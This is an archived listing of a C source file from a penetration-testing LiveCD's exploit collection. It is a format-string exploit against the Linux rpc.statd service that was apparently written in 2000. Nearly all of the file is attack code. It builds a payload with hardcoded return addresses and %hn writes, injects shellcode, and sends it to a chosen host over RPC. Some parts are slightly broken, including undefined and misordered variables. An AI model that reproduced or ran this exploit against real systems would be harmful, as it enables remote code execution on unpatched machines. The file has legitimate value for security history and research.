home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / statd-toy.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  122 lines

  1. /*
  2.  * Slightly dysfunctional rpc.statd exploit
  3.  *  for all the dysfunctional script kiddies out there
  4.  *
  5.  * Author: drow, 07/2000
  6.  *
  7.  * And just for kicks...
  8.  * Greets:
  9.  *  Chris Evans, whose fault all this is
  10.  *  whoever wrote the old solaris statd exploit I ripped the RPC code out of
  11.  *  <james> send out greetz to all the 1337 D3B14N H4X0R2!!!!
  12.  *  and THEM (THEY know who THEY are)
  13.  *
  14.  *
  15.  * This is dedicated to Joel Klecker.  Those who knew him know why.
  16.  *
  17.  */
  18.  
  19. #include <sys/types.h>
  20. #include <sys/time.h>
  21. #include <stdio.h>
  22. #include <string.h>
  23. #include <netdb.h>
  24. #include <rpc/rpc.h>
  25. #include <rpcsvc/sm_inter.h>
  26. #include <sys/socket.h>
  27.  
  28. void usage(char *s) {
  29.   printf("Usage: %s host [-nopoke]\n", s);
  30.   exit(0);
  31. }
  32.  
  33. extern char shell[];
  34.  
  35. main(int argc, char *argv[]) {
  36.   CLIENT *cl;
  37.   enum clnt_stat stat;
  38.   struct timeval tm;
  39.   struct mon monreq;
  40.   struct sm_stat_res monres;
  41.   struct hostent *hp;
  42.   struct sockaddr_in target;
  43.   int sd, i, noplen=strlen(nop), nopoke=0;
  44.   char *ptr=code, *p2, code[4096];
  45.  
  46.   if (argc < 2)
  47.     usage(argv[0]);
  48.   if (argc > 2)
  49.     nopoke = 1;
  50.  
  51.   /* Alignment */
  52.   strcpy(ptr, "AAA");
  53.   ptr += strlen(ptr);
  54.   
  55.   /* Target to write to! */
  56.   *(unsigned long *)(ptr) = 0x7fffeb04;
  57.   ptr += sizeof(unsigned long);
  58.   
  59.   /* pad */
  60.   *(unsigned long *)(ptr) = 0x11111111;
  61.   ptr += sizeof(unsigned long);
  62.  
  63.   /* Target Two (two higher in memory probably) */
  64.   *(unsigned long *)(ptr) = 0x7fffeb06;
  65.   ptr += sizeof(unsigned long);
  66.   
  67.   for(i = 0; i < 46-1; i++) {
  68.     strcpy(ptr, "%12d");
  69.     ptr += strlen(ptr);
  70.   }
  71.  
  72. if(!nopoke) {
  73.   /* Value to write - amount written */
  74.   /* Guess a bit - remember to leave a lot of padding, and be lucky on alignment */
  75.   /* Don't correct for IP address!  Forced to localhost by stat code - same length. */
  76. #define HIGH 0x7fff
  77. #define LOW 0xeecc
  78.   sprintf(ptr, "%%%dd%%hn", HIGH - 12*45
  79.         - strlen("STAT_FAIL to 127.0.0.1 for SM_MON of AAABBBB1111CCCC"));
  80.   ptr += strlen(ptr);
  81.  
  82.   sprintf(ptr, "%%%dd%%hn", (LOW - HIGH) % 65536);
  83.   ptr += strlen(ptr);
  84.  
  85.   /* CODE */
  86.   p2 = shell;
  87.   while(*p2)
  88.     *(ptr++) = *(p2++);
  89. }
  90.   *(ptr++) = 0;
  91.  
  92.   memset(&monreq, 0, sizeof(monreq));
  93.   monreq.mon_id.my_id.my_name="localhost";
  94.   monreq.mon_id.my_id.my_prog=0;
  95.   monreq.mon_id.my_id.my_vers=0;
  96.   monreq.mon_id.my_id.my_proc=0;
  97.   monreq.mon_id.mon_name= code  /*code*/;
  98.  
  99.   if ((hp=gethostbyname(argv[1])) == NULL) {
  100.     printf("Can't resolve %s\n", argv[1]);
  101.     exit(0);
  102.   }
  103.   target.sin_family=AF_INET;
  104.   target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  105.   target.sin_port=0;    /* ask portmap */
  106.   sd=RPC_ANYSOCK;
  107.  
  108.   tm.tv_sec=10;
  109.   tm.tv_usec=0;
  110.   if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
  111.     clnt_pcreateerror("clnt_create");
  112.     exit(0);
  113.   }
  114.   stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
  115.                 (char *)&monres, tm);
  116.   if (stat != RPC_SUCCESS)
  117.     clnt_perror(cl, "clnt_call");
  118.   else
  119.     printf("stat_res = %d.\n", monres.res_stat);
  120.   clnt_destroy(cl);
  121. }
  122.